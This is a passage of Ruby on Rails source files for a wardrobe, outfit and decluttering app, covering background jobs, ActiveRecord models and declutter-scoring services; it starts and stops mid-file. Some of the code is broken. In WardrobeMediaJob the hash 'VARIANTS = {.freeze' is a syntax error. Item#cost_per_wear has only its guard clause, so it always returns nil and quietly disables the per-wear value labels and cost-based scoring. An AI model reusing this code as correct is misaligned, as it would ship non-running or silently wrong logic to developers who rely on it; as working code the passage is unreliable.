0.015, 0.75].min\n    (item.price * (0.65 - wear_discount)).clamp(0, item.price).round(2)\n  end\n\n  def estimated_repair_cost(item)\n    return nil unless item.price.present?\n    (item.price * 0.12).round(2)\n  end\n\n  def environmental_score(item)\n    worn = item.times_worn.to_i\n    base = worn.positive? ? [worn * 4, 100].min : 5\n    item.spark_joy? ? [base + 10, 100].min : base\n  end\nend\n```\n\n## `rails/amber/app/jobs/embed_garment_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass EmbedGarmentJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(item_id)\n    item = Item.find(item_id)\n    vector = WardrobeAiService.new(item.user).embedding_for(item)\n    return if vector.blank?\n\n    item.create_garment_embedding! unless item.garment_embedding\n    item.garment_embedding.update!(\n      provider: \"openrouter\",\n      model: WardrobeAiService::MODEL,\n      dimensions: vector.length,\n      vector: vector,\n      metadata: { text: item.embedding_text, embedded_at: Time.current.iso8601 }\n    )\n  end\nend\n```\n\n## `rails/amber/app/jobs/recommend_outfits_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass RecommendOutfitsJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(user_id, occasion: nil, season: nil)\n    user = User.find(user_id)\n    suggestions = WardrobeAiService.new(user).suggest_outfits(occasion:, season:)\n\n    Array(suggestions).each do |suggestion|\n      user.recommendations.create!(\n        kind: \"outfit\",\n        reason: suggestion[\"description\"].presence || suggestion[\"reason\"].presence || \"AI outfit suggestion\",\n        metadata: suggestion\n      )\n    end\n  end\nend\n```\n\n## `rails/amber/app/jobs/remove_background_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass RemoveBackgroundJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(item_id)\n    item = Item.find(item_id)\n    Rails.logger.info(\"Amber background-removal placeholder for item=#{item.id}\")\n    item.update!(analysis_status: \"background_removal_pending\") if item.respond_to?(:analysis_status)\n  end\nend\n```\n\n## `rails/amber/app/jobs/segment_garment_image_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SegmentGarmentImageJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(item_id)\n    item = Item.find(item_id)\n    Rails.logger.info(\"Amber segmentation placeholder for item=#{item.id}\")\n    item.update!(analysis_status: \"segmentation_pending\") if item.respond_to?(:analysis_status)\n  end\nend\n```\n\n## `rails/amber/app/jobs/wardrobe_media_job.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"tempfile\"\nrequire \"rbconfig\"\n\nclass WardrobeMediaJob &lt; ApplicationJob\n  queue_as :media\n\n  VARIANTS = {.freeze\n    thumb: { resize_to_limit: [240, 240] },\n    card: { resize_to_limit: [720, 960] },\n  }.freeze\n\n  def perform(item_id)\n    item = Item.find(item_id)\n    if defined?(Shared::MediaProcessingJob)\n      Shared::MediaProcessingJob.perform_later(\"Item\", item.id, \"photos\", variants: VARIANTS)\n    end\n    Shared::EventEmitter.call(\"amber.photo.queued\", item_id: item.id) if defined?(Shared::EventEmitter)\n    item.extract_dominant_color! if item.photos.attached?\n\n    # auto postpro film stock on item image upload (DF06)\n    if item.photos.attached?\n      photo = item.photos.first\n      begin\n        script = Rails.root.join(\"../../postpro/postpro.rb\").to_s\n        if File.exist?(script)\n          tmp_in = Tempfile.new([\"in\", File.extname(photo.filename.to_s.presence || \".jpg\")])\n          tmp_in.binmode\n          tmp_in.write(photo.download)\n          tmp_in.rewind\n          tmp_out = Tempfile.new([\"out\", \".jpg\"])\n          system(RbConfig.ruby, script, \"--input\", tmp_in.path, \"--output\", tmp_out.path, \"--stock\", \"kodak_portra\", \"--preset\", \"social\")\n          if File.exist?(tmp_out.path)\n            Rails.logger.info(\"postpro film stock applied automatically to item #{item.id}\")\n            # could re-attach processed version here\n          end\n          tmp_in.close!\n          tmp_out.close!\n        end\n      rescue StandardError =&gt; e\n        Rails.logger.warn(\"auto postpro failed for item #{item.id}: #{e.message}\")\n      end\n    end\n  end\nend\n```\n\n## `rails/amber/app/mailers/passwords_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsMailer &lt; ApplicationMailer\n  def reset(user)\n    @user = user\n    mail subject: \"Reset your password\", to: user.email_address\n  end\nend\n```\n\n## `rails/amber/app/models/affiliate_link.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AffiliateLink &lt; ApplicationRecord\n  belongs_to :item\n\n  validates :url, :merchant, presence: true\n  validates :url, length: { maximum: 2_000 }\n  validates :commission_rate, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\nend\n```\n\n## `rails/amber/app/models/consent_event.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ConsentEvent &lt; ApplicationRecord\n  belongs_to :user\n\n  validates :purpose, :decision, presence: true\n\n  enum :decision, { granted: \"granted\", revoked: \"revoked\" }\nend\n```\n\n## `rails/amber/app/models/creator_profile.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatorProfile &lt; ApplicationRecord\n  belongs_to :user\n  has_many :creator_wardrobe_items, dependent: :destroy\n  has_many :items, through: :creator_wardrobe_items\n\n  validates :handle, presence: true, uniqueness: true, format: { with: /\\A[a-zA-Z0-9_\\.\\-]+\\z/ }\n  validates :display_name, presence: true, length: { maximum: 80 }\n  validates :bio, length: { maximum: 1_000 }\n\n  normalizes :handle, with: -&gt;(value) { value.to_s.strip.downcase }\n\n  scope :publicly_visible, -&gt; { where(public: true) }\nend\n```\n\n## `rails/amber/app/models/creator_wardrobe_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatorWardrobeItem &lt; ApplicationRecord\n  belongs_to :creator_profile\n  belongs_to :item\n\n  validates :item_id, uniqueness: { scope: :creator_profile_id }\n  validates :caption, length: { maximum: 300 }\nend\n```\n\n## `rails/amber/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :session\n  delegate :user, to: :session, allow_nil: true\nend\n```\n\n## `rails/amber/app/models/declutter_challenge.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterChallenge &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :item\n  belongs_to :outfit, optional: true\n\n  STATUSES = %w[pending completed skipped expired].freeze\n\n  validates :status, inclusion: { in: STATUSES }\n  validates :due_on, presence: true\n\n  before_validation :assign_defaults\n\n  scope :active, -&gt; { where(status: \"pending\").where(\"due_on &gt;= ?\", Date.current) }\n  scope :overdue, -&gt; { where(status: \"pending\").where(\"due_on &lt; ?\", Date.current) }\n\n  def complete!\n    transaction do\n      update!(status: \"completed\", completed_at: Time.current)\n      item.wear!(outfit:, context: \"declutter_challenge\")\n    end\n  end\n\n  def expire!\n    update!(status: \"expired\") if pending? &amp;&amp; due_on &lt; Date.current\n  end\n\n  def pending? = status == \"pending\"\n\n  private\n\n  def assign_defaults\n    self.user ||= item&amp;.user\n    self.status ||= \"pending\"\n    self.due_on ||= 7.days.from_now.to_date\n  end\nend\n```\n\n## `rails/amber/app/models/declutter_outcome.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterOutcome &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :item\n\n  ACTIONS = %w[sold donated gifted recycled repaired archived released].freeze\n\n  validates :action, inclusion: { in: ACTIONS }\n  validates :notes, length: { maximum: 1_000 }\n  validates :amount_recovered, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n  before_validation :assign_user\n  after_create :sync_item_lifecycle\n\n  private\n\n  def assign_user\n    self.user ||= item&amp;.user\n  end\n\n  def sync_item_lifecycle\n    state = case action\n            when \"sold\" then \"sold\"\n            when \"donated\" then \"donated\"\n            when \"gifted\", \"released\" then \"released\"\n            when \"recycled\" then \"recycled\"\n            when \"repaired\" then \"active\"\n            when \"archived\" then \"sentimental_archive\"\n            else item.lifecycle_state\n            end\n    item.update!(lifecycle_state: state)\n  end\nend\n```\n\n## `rails/amber/app/models/declutter_review.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterReview &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :item\n\n  REASONS = %w[wear love need guilt expensive gift memory goal_weight past_self aspirational rare status uncomfortable duplicate].freeze\n  DECISIONS = %w[keep wear_this_week repair sell donate recycle sentimental_archive declutter_box release].freeze\n\n  validates :reason_kept, inclusion: { in: REASONS }, allow_blank: true\n  validates :decision, inclusion: { in: DECISIONS }, allow_blank: true\n  validates :notes, length: { maximum: 1_000 }\n\n  before_validation :assign_user\n\n  def guilt_based? = %w[guilt expensive gift goal_weight status].include?(reason_kept)\n\n  private\n\n  def assign_user\n    self.user ||= item&amp;.user\n  end\nend\n```\n\n## `rails/amber/app/models/follow.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Follow &lt; ApplicationRecord\n  belongs_to :follower, class_name: \"User\", touch: true\n  belongs_to :followee, class_name: \"User\", touch: true\n\n  validates :follower_id, uniqueness: { scope: :followee_id }\n  validate :no_self_follow\n\n  private\n\n  def no_self_follow\n    errors.add(:followee, \"can't follow yourself\") if follower_id == followee_id\n  end\nend\n```\n\n## `rails/amber/app/models/garment_embedding.rb`\n```ruby\n# frozen_string_literal: true\n\nclass GarmentEmbedding &lt; ApplicationRecord\n  belongs_to :item\n\n  validates :provider, :model, presence: true\n  validates :dimensions, numericality: { only_integer: true, greater_than: 0 }, allow_nil: true\n\n  serialize :vector, coder: JSON\n  serialize :metadata, coder: JSON\nend\n```\n\n## `rails/amber/app/models/identity_verification.rb`\n```ruby\n# frozen_string_literal: true\n\nclass IdentityVerification &lt; ApplicationRecord\n  belongs_to :user\n\n  enum :status, { pending: \"pending\", approved: \"approved\", rejected: \"rejected\" }, default: :pending\n  enum :kind, { creator: \"creator\", merchant: \"merchant\", stylist: \"stylist\", human: \"human\" }, default: :human\n\n  validates :kind, :status, presence: true\nend\n```\n\n## `rails/amber/app/models/item.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"tempfile\"\n\nclass Item &lt; ApplicationRecord\n  belongs_to :user\n  has_one :garment_embedding, dependent: :destroy\n  has_one :sustainability_metric, dependent: :destroy\n  has_one :declutter_review, dependent: :destroy\n  has_one :declutter_outcome, dependent: :destroy\n  has_many :outfit_items, dependent: :destroy\n  has_many :outfits, through: :outfit_items\n  has_many :wear_logs, dependent: :destroy\n  has_many :affiliate_links, dependent: :destroy\n  has_many :declutter_challenges, dependent: :destroy\n  has_many_attached :photos\n\n  validates :title, :category, presence: true\n  validates :times_worn, numericality: { only_integer: true, greater_than_or_equal_to: 0 }, allow_nil: true\n  validates :price, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n  broadcasts_refreshes\n\n  scope :joy,          -&gt; { where(spark_joy: true) }\n  scope :by_category,  -&gt;(c) { where(category: c) }\n  scope :by_mood,      -&gt;(m) { where(mood_effect: m) }\n  scope :by_occasion,  -&gt;(o) { where(\"occasion_tags LIKE ?\", \"%#{sanitize_sql_like(o.to_s)}%\") }\n  scope :current_self, -&gt; { where(life_phase: \"current\") }\n  scope :recent,       -&gt; { order(created_at: :desc) }\n  scope :worn_most,    -&gt; { order(times_worn: :desc) }\n  scope :never_worn,   -&gt; { where(\"times_worn = 0 OR times_worn IS NULL\") }\n  scope :aging_unworn, -&gt; { never_worn.where(\"purchase_date &lt; ?\", 6.months.ago) }\n  scope :embeddable,   -&gt; { where.not(title: [nil, \"\"]).where.not(category: [nil, \"\"]) }\n  scope :active_wardrobe, -&gt; { where.not(lifecycle_state: %w[released donated sold recycled]) }\n  scope :declutter_box, -&gt; { where(lifecycle_state: \"declutter_box\") }\n  scope :sentimental, -&gt; { where(lifecycle_state: \"sentimental_archive\") }\n  scope :seasonal_archived, -&gt; { where(lifecycle_state: \"seasonal_archive\") }\n\n  CATEGORIES   = %w[Tops Bottoms Dresses Shoes Accessories Outerwear].freeze\n  SEASONS      = %w[Spring Summer Autumn Winter All-Season].freeze\n  MOOD_EFFECTS = %w[energising calming confident playful neutral].freeze\n  LIFE_PHASES  = %w[current past-self aspirational].freeze\n  OCCASIONS    = %w[work casual formal gym date travel].freeze\n  LIFECYCLE_STATES = %w[active repair clean_needed tailor declutter_box sentimental_archive seasonal_archive resale donate sold donated recycled released].freeze\n\n  def cost_per_wear\n    return nil unless price.present? &amp;&amp; times_worn.to_i &gt; 0\n  end\n\n  def value_label\n    cost_per_wear ? \"#{cost_per_wear} per wear\" : \"not worn yet\"\n  end\n\n  def underused?\n    times_worn.to_i &lt; 3\n  end\n\n  def capsule_candidate?\n    spark_joy? &amp;&amp; !released? &amp;&amp; !in_declutter_box?\n  end\n\n  def occasions\n    occasion_tags.to_s.split(\",\").map(&amp;:strip).reject(&amp;:blank?)\n  end\n\n  def wear!(worn_on: Date.current, outfit: nil, context: nil)\n    transaction do\n      increment!(:times_worn)\n      update!(last_worn_on: worn_on, lifecycle_state: \"active\") if has_attribute?(:last_worn_on)\n      wear_logs.create!(user:, outfit:, worn_on:, context:)\n      touch\n    end\n  end\n\n  def embedding_text\n    [title, category, color, brand, material, season, mood_effect, life_phase, occasion_tags].compact.join(\" \")\n  end\n\n  def declutter_score\n    DeclutterScoreService.new(self).score\n  end\n\n  def declutter_recommendation\n    DeclutterScoreService.new(self).recommendation\n  end\n\n  def duplicate_key\n    [category, color, material, brand].map { |value| value.to_s.strip.downcase.presence || \"unknown\" }.join(\":\")\n  end\n\n  def in_declutter_box? = lifecycle_state == \"declutter_box\"\n  def released? = %w[released donated sold recycled].include?(lifecycle_state)\n  def sentimental? = lifecycle_state == \"sentimental_archive\"\n\n  def current_season\n    m = Time.current.month\n    case m\n    when 3..5 then \"Spring\"\n    when 6..8 then \"Summer\"\n    when 9..11 then \"Autumn\"\n    else \"Winter\"\n    end\n  end\n\n  def archive_out_of_season!\n    return unless season.present? &amp;&amp; season != \"All-Season\" &amp;&amp; season != current_season\n    update!(lifecycle_state: \"seasonal_archive\")\n  end\n\n  def resurface_seasonal!\n    if lifecycle_state == \"seasonal_archive\" &amp;&amp; (season == current_season || season == \"All-Season\")\n      update!(lifecycle_state: \"active\")\n    end\n  end\n\n  def extract_dominant_color!\n    return unless photos.attached?\n    photo = photos.first\n    tempfile = nil\n    begin\n      require \"vips\"\n      tempfile = Tempfile.new([\"item\", File.extname(photo.filename.to_s.presence || \".jpg\")])\n      tempfile.binmode\n      tempfile.write(photo.download)\n      tempfile.rewind\n      image = Vips::Image.new_from_file(tempfile.path)\n      # resize to 1px for approx dominant/average color\n      thumb = image.resize(1.0 / [image.width, image.height].max.to_f)\n      px = thumb.getpoint(0, 0)\n      r = px[0].to_i.clamp(0, 255)\n      g = px[1].to_i.clamp(0, 255)\n      b = px[2].to_i.clamp(0, 255)\n      hex = \"#%02x%02x%02x\" % [r, g, b]\n      update!(color: hex)\n    rescue StandardError =&gt; e\n      Rails.logger.warn(\"vips dominant color extract failed for item #{id}: #{e.message}\")\n    ensure\n      tempfile&amp;.close!\n    end\n  end\nend\n```\n\n## `rails/amber/app/models/outfit.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Outfit &lt; ApplicationRecord\n  belongs_to :user\n  has_many :outfit_items, dependent: :destroy\n  has_many :items, through: :outfit_items\n  has_one_attached :image\n\n  validates :name, presence: true\n\n  broadcasts_refreshes\n\n  def like!\n    increment!(:likes_count)\n  end\n\n  def context_label\n    [season, category, occasion].compact_blank.join(\" \u00b7 \")\n  end\n\n  def total_wears\n    items.sum { |item| item.times_worn.to_i }\n  end\n\n  def estimated_value\n    items.sum { |item| item.price.to_f }\n  end\nend\n```\n\n## `rails/amber/app/models/outfit_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass OutfitItem &lt; ApplicationRecord\n  belongs_to :outfit\n  belongs_to :item\n\n  validates :outfit, :item, presence: true\n  validates :item_id, uniqueness: { scope: :outfit_id }\n  default_scope { order(:position) }\nend\n```\n\n## `rails/amber/app/models/packing_list.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PackingList &lt; ApplicationRecord\n  belongs_to :user\n  has_many :packing_list_items, dependent: :destroy\n  has_many :items, through: :packing_list_items\n\n  validates :name, :starts_on, :ends_on, presence: true\n  validate :ends_after_start\n\n  def duration_days\n    return 0 unless starts_on &amp;&amp; ends_on\n    (ends_on - starts_on).to_i + 1\n  end\n\n  private\n\n  def ends_after_start\n    return unless starts_on &amp;&amp; ends_on\n    errors.add(:ends_on, \"must be on or after starts_on\") if ends_on &lt; starts_on\n  end\nend\n```\n\n## `rails/amber/app/models/packing_list_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PackingListItem &lt; ApplicationRecord\n  belongs_to :packing_list\n  belongs_to :item\n\n  validates :item_id, uniqueness: { scope: :packing_list_id }\n  validates :quantity, numericality: { only_integer: true, greater_than: 0 }\nend\n```\n\n## `rails/amber/app/models/planned_outfit.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PlannedOutfit &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :outfit\n\n  validates :planned_date, presence: true\n  validates :planned_date, uniqueness: { scope: :user_id }\n\n  scope :upcoming, -&gt; { where(\"planned_date &gt;= ?\", Date.today).order(:planned_date) }\n  scope :this_week, -&gt; { where(planned_date: Date.today..7.days.from_now) }\n\n  broadcasts_refreshes\nend\n```\n\n## `rails/amber/app/models/post.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Post &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :outfit, optional: true, touch: true\n  belongs_to :item,   optional: true, touch: true\n\n  validates :body, presence: true, length: { maximum: 500 }\n\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  broadcasts_refreshes\n\n  def like! = increment!(:likes_count)\nend\n```\n\n## `rails/amber/app/models/privacy_setting.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PrivacySetting &lt; ApplicationRecord\n  belongs_to :user\n\n  enum :wardrobe_visibility, { wardrobe_private: \"private\", wardrobe_followers: \"followers\", wardrobe_public: \"public\" }, default: :wardrobe_private\n  enum :analytics_visibility, { analytics_private: \"private\", analytics_aggregate: \"aggregate\", analytics_public: \"public\" }, default: :analytics_private\n\n  def public_wardrobe? = wardrobe_public?\nend\n```\n\n## `rails/amber/app/models/profile.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Profile &lt; ApplicationRecord\n  belongs_to :user\n  has_one_attached :avatar\n\n  validates :display_name, length: { maximum: 80 }\n  validates :bio, length: { maximum: 500 }\n\n  enum :visibility, { private_profile: \"private\", followers_only: \"followers\", public_profile: \"public\" }, default: :private_profile\n\n  def name\n    display_name.presence || user.email_address.to_s.split(\"@\").first\n  end\nend\n```\n\n## `rails/amber/app/models/recommendation.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Recommendation &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :item, optional: true\n  belongs_to :outfit, optional: true\n\n  validates :kind, :reason, presence: true\n  validates :score, numericality: true, allow_nil: true\n\n  enum :kind, {\n    outfit: \"outfit\",\n    declutter: \"declutter\",\n    purchase_gap: \"purchase_gap\",\n    repair: \"repair\",\n    resale: \"resale\",\n    packing: \"packing\"\n  }\n\n  scope :active, -&gt; { where(dismissed_at: nil) }\nend\n```\n\n## `rails/amber/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/amber/app/models/style_preference.rb`\n```ruby\n# frozen_string_literal: true\n\nclass StylePreference &lt; ApplicationRecord\n  belongs_to :user\n\n  validates :name, presence: true\n  validates :weight, numericality: true\n\n  enum :kind, {\n    aesthetic: \"aesthetic\",\n    color: \"color\",\n    fit: \"fit\",\n    material: \"material\",\n    occasion: \"occasion\",\n    avoid: \"avoid\"\n  }, default: :aesthetic\nend\n```\n\n## `rails/amber/app/models/style_profile.rb`\n```ruby\n# frozen_string_literal: true\n\nclass StyleProfile &lt; ApplicationRecord\n  belongs_to :user\n\n  validates :body_type, length: { maximum: 128 }, allow_blank: true\n  validates :style_preferences, length: { maximum: 2_000 }, allow_blank: true\n  validates :preferred_colors, length: { maximum: 1_000 }, allow_blank: true\n  validates :favorite_brands, length: { maximum: 1_000 }, allow_blank: true\n\n  def color_list\n    preferred_colors.to_s.split(/[,\\n]/).map(&amp;:strip).reject(&amp;:blank?)\n  end\n\n  def brand_list\n    favorite_brands.to_s.split(/[,\\n]/).map(&amp;:strip).reject(&amp;:blank?)\n  end\nend\n```\n\n## `rails/amber/app/models/sustainability_metric.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SustainabilityMetric &lt; ApplicationRecord\n  belongs_to :item\n\n  validates :resale_value, :repair_cost_estimate, :environmental_score,\n            numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n  def unused?\n    item.times_worn.to_i.zero?\n  end\n\n  def cost_per_wear = item.cost_per_wear\nend\n```\n\n## `rails/amber/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n\n  has_one :profile, dependent: :destroy\n  has_one :creator_profile, dependent: :destroy\n  has_one :privacy_setting, dependent: :destroy\n\n  has_many :posts,           dependent: :destroy\n  has_many :items,           dependent: :destroy\n  has_many :outfits,         dependent: :destroy\n  has_many :planned_outfits, dependent: :destroy\n  has_many :style_preferences, dependent: :destroy\n  has_many :packing_lists, dependent: :destroy\n  has_many :recommendations, dependent: :destroy\n  has_many :identity_verifications, dependent: :destroy\n  has_many :consent_events, dependent: :destroy\n  has_many :declutter_reviews, dependent: :destroy\n  has_many :declutter_challenges, dependent: :destroy\n  has_many :declutter_outcomes, dependent: :destroy\n\n  has_many :follows_as_follower, class_name: \"Follow\", foreign_key: :follower_id, dependent: :destroy\n  has_many :follows_as_followee, class_name: \"Follow\", foreign_key: :followee_id, dependent: :destroy\n  has_many :following,       through: :follows_as_follower, source: :followee\n  has_many :followers,       through: :follows_as_followee, source: :follower\n  has_many :sessions,        dependent: :destroy\n\n  normalizes :email_address, with: -&gt;(e) { e.strip.downcase }\n\n  after_create :ensure_identity_records\n\n  broadcasts_refreshes\n\n  def following?(other) = follows_as_follower.exists?(followee: other)\n  def feed_posts        = Post.where(user: [self] + following.to_a).recent\n\n  def public_creator? = creator_profile&amp;.public? || false\n  def wardrobe_public? = privacy_setting&amp;.public_wardrobe? || false\n  def declutter_summary = DeclutterDashboardService.new(self).summary\n\n  private\n\n  def ensure_identity_records\n    create_profile! unless profile\n    create_privacy_setting! unless privacy_setting\n  end\nend\n```\n\n## `rails/amber/app/models/wardrobe_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WardrobeItem &lt; ApplicationRecord\n  CONDITIONS = %w[new excellent good worn repair retire].freeze\n\n  belongs_to :user\n  belongs_to :item\n\n  validates :condition, inclusion: { in: CONDITIONS }, allow_blank: true\n  validates :user_id, uniqueness: { scope: :item_id }\n\n  scope :recent, -&gt; { order(created_at: :desc) }\n  scope :needs_attention, -&gt; { where(condition: %w[repair retire]) }\n\n  def age_in_days\n    return 0 unless acquisition_date\n\n    (Date.current - acquisition_date).to_i\n  end\nend\n```\n\n## `rails/amber/app/models/wear_log.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WearLog &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :item\n  belongs_to :outfit, optional: true\n\n  validates :worn_on, presence: true\n  validates :context, length: { maximum: 300 }\n\n  scope :recent, -&gt; { order(worn_on: :desc, created_at: :desc) }\nend\n```\n\n## `rails/amber/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/amber/app/services/capsule_builder_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CapsuleBuilderService\n  DEFAULT_LIMIT = 12\n\n  def initialize(user)\n    @user = user\n  end\n\n  def build(limit: DEFAULT_LIMIT, occasion: nil, season: nil)\n    candidates = @user.items.joy\n    candidates = candidates.by_occasion(occasion) if occasion.present?\n    candidates = candidates.where(season: [season, \"All-Season\", nil, \"\"]) if season.present?\n\n    selected = []\n    Item::CATEGORIES.each do |category|\n      item = candidates.by_category(category).worn_most.first || candidates.by_category(category).recent.first\n      selected &lt;&lt; item if item\n    end\n\n    remaining = candidates.where.not(id: selected.compact.map(&amp;:id)).sort_by do |item|\n      [-(item.times_worn.to_i), item.cost_per_wear || 999_999, item.created_at || Time.current]\n    end\n\n    (selected.compact + remaining).uniq.first(limit)\n  end\n\n  def explain(items)\n    items.map do |item|\n      {\n        id: item.id,\n        title: item.title,\n        category: item.category,\n        reason: reason_for(item)\n      }\n    end\n  end\n\n  private\n\n  def reason_for(item)\n    return \"High utility: worn #{item.times_worn} times.\" if item.times_worn.to_i.positive?\n    return \"Strong emotional signal: sparks joy.\" if item.spark_joy?\n\n    \"Adds category coverage for #{item.category}.\"\n  end\nend\n```\n\n## `rails/amber/app/services/declutter_action_router.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterActionRouter\n  def initialize(item)\n    @item = item\n  end\n\n  def action\n    score = @item.declutter_score\n    recommendation = score[:recommendation]\n\n    {\n      recommendation: recommendation,\n      destination: destination_for(recommendation),\n      copy: copy_for(recommendation),\n      score: score\n    }\n  end\n\n  private\n\n  def destination_for(recommendation)\n    case recommendation\n    when \"keep\" then \"active_wardrobe\"\n    when \"wear_this_week\" then \"challenge\"\n    when \"replace_gradually\" then \"replacement_watchlist\"\n    when \"repair\" then \"repair_queue\"\n    when \"sell\" then \"resale\"\n    when \"donate\" then donation_bucket\n    when \"sentimental_archive\" then \"memory_box\"\n    else \"declutter_box\"\n    end\n  end\n\n  def donation_bucket\n    return \"winter_clothing_donation\" if @item.category == \"Outerwear\"\n    return \"workwear_donation\" if @item.occasions.include?(\"work\")\n    return \"textile_recycling\" if @item.lifecycle_state == \"repair\"\n\n    \"general_donation\"\n  end\n\n  def copy_for(recommendation)\n    case recommendation\n    when \"keep\" then \"Keep: it still has joy and real utility.\"\n    when \"wear_this_week\" then \"Try once this week before deciding.\"\n    when \"replace_gradually\" then \"Useful but low joy: replace only when a better version appears.\"\n    when \"repair\" then \"Repair before releasing; this may still serve you.\"\n    when \"sell\" then \"Good resale candidate. Photograph and list it while in season.\"\n    when \"donate\" then \"Ready to release through donation.\"\n    when \"sentimental_archive\" then \"Move out of daily wardrobe into a memory archive.\"\n    else \"Move to a 30-day declutter box.\"\n    end\n  end\nend\n```\n\n## `rails/amber/app/services/declutter_dashboard_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterDashboardService\n  def initialize(user)\n    @user = user\n  end\n\n  def summary\n    items = @user.items\n    active = items.active_wardrobe\n    released = items.where(lifecycle_state: %w[released donated sold recycled])\n\n    {\n      total_items: items.count,\n      active_items: active.count,\n      declutter_box: items.declutter_box.count,\n      sentimental_archive: items.sentimental.count,\n      released_items: released.count,\n      never_worn: active.never_worn.count,\n      duplicate_groups: DuplicateDetectorService.new(@user).groups.count,\n      amount_recovered: @user.declutter_outcomes.sum(:amount_recovered),\n      top_candidates: top_candidates(active),\n      matrix: matrix(active)\n    }\n  end\n\n  private\n\n  def top_candidates(scope)\n    scope.to_a.sort_by { |item| -item.declutter_score[:total_release_score] }.first(12)\n  end\n\n  def matrix(scope)\n    scope.group_by { |item| item.declutter_score[:quadrant] }.transform_values(&amp;:count)\n  end\nend\n```\n\n## `rails/amber/app/services/declutter_score_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterScoreService\n  def initialize(item)\n    @item = item\n  end\n\n  def score\n    {\n      joy: joy_score,\n      utility: utility_score,\n      fit: fit_score,\n      duplicate_pressure: duplicate_pressure,\n      cost_pressure: cost_pressure,\n      repair_pressure: repair_pressure,\n      total_release_score: total_release_score.round(3),\n      quadrant: quadrant,\n      recommendation: recommendation\n    }\n  end\n\n  def recommendation\n    return \"keep\" if high_joy? &amp;&amp; high_utility?\n    return \"sentimental_archive\" if sentimental_signal? &amp;&amp; !high_utility?\n    return \"wear_this_week\" if high_joy? &amp;&amp; !high_utility?\n    return \"replace_gradually\" if !high_joy? &amp;&amp; high_utility?\n    return \"repair\" if repair_pressure &gt; 0.65\n    return \"sell\" if resale_candidate?\n    return \"donate\" if donation_candidate?\n\n    \"declutter_box\"\n  end\n\n  private\n\n  def joy_score\n    return 1.0 if @item.spark_joy == true\n    return 0.15 if @item.spark_joy == false\n\n    case @item.life_phase\n    when \"current\" then 0.65\n    when \"aspirational\" then 0.45\n    when \"past-self\" then 0.25\n    else 0.5\n    end\n  end\n\n  def utility_score\n    wears = @item.times_worn.to_i\n    recent_bonus = @item.respond_to?(:last_worn_on) &amp;&amp; @item.last_worn_on.present? &amp;&amp; @item.last_worn_on &gt; 90.days.ago.to_date ? 0.25 : 0\n    ([wears / 20.0, 0.75].min + recent_bonus).clamp(0.0, 1.0)\n  end\n\n  def fit_score\n    review = @item.declutter_review\n    return 0.2 if review&amp;.reason_kept == \"uncomfortable\"\n    return 0.35 if @item.life_phase == \"past-self\"\n\n    0.75\n  end\n\n  def duplicate_pressure\n    similar = @item.user.items.active_wardrobe.where.not(id: @item.id).select { |candidate| candidate.duplicate_key == @item.duplicate_key }\n    [similar.size / 4.0, 1.0].min\n  end\n\n  def cost_pressure\n    return 0.0 unless @item.price.present?\n    return 0.8 if @item.times_worn.to_i.zero? &amp;&amp; @item.price.to_f &gt; 500\n    return 0.5 if @item.cost_per_wear.to_f &gt; 250\n\n    0.1\n  end\n\n  def repair_pressure\n    return 0.0 unless @item.lifecycle_state.in?(%w[repair clean_needed tailor])\n    estimate = @item.sustainability_metric&amp;.repair_cost_estimate.to_f\n    price = @item.price.to_f\n    return 0.5 if price.zero?\n\n    [estimate / price, 1.0].min\n  end\n\n  def total_release_score\n    (1.0 - joy_score) * 0.28 +\n      (1.0 - utility_score) * 0.28 +\n      (1.0 - 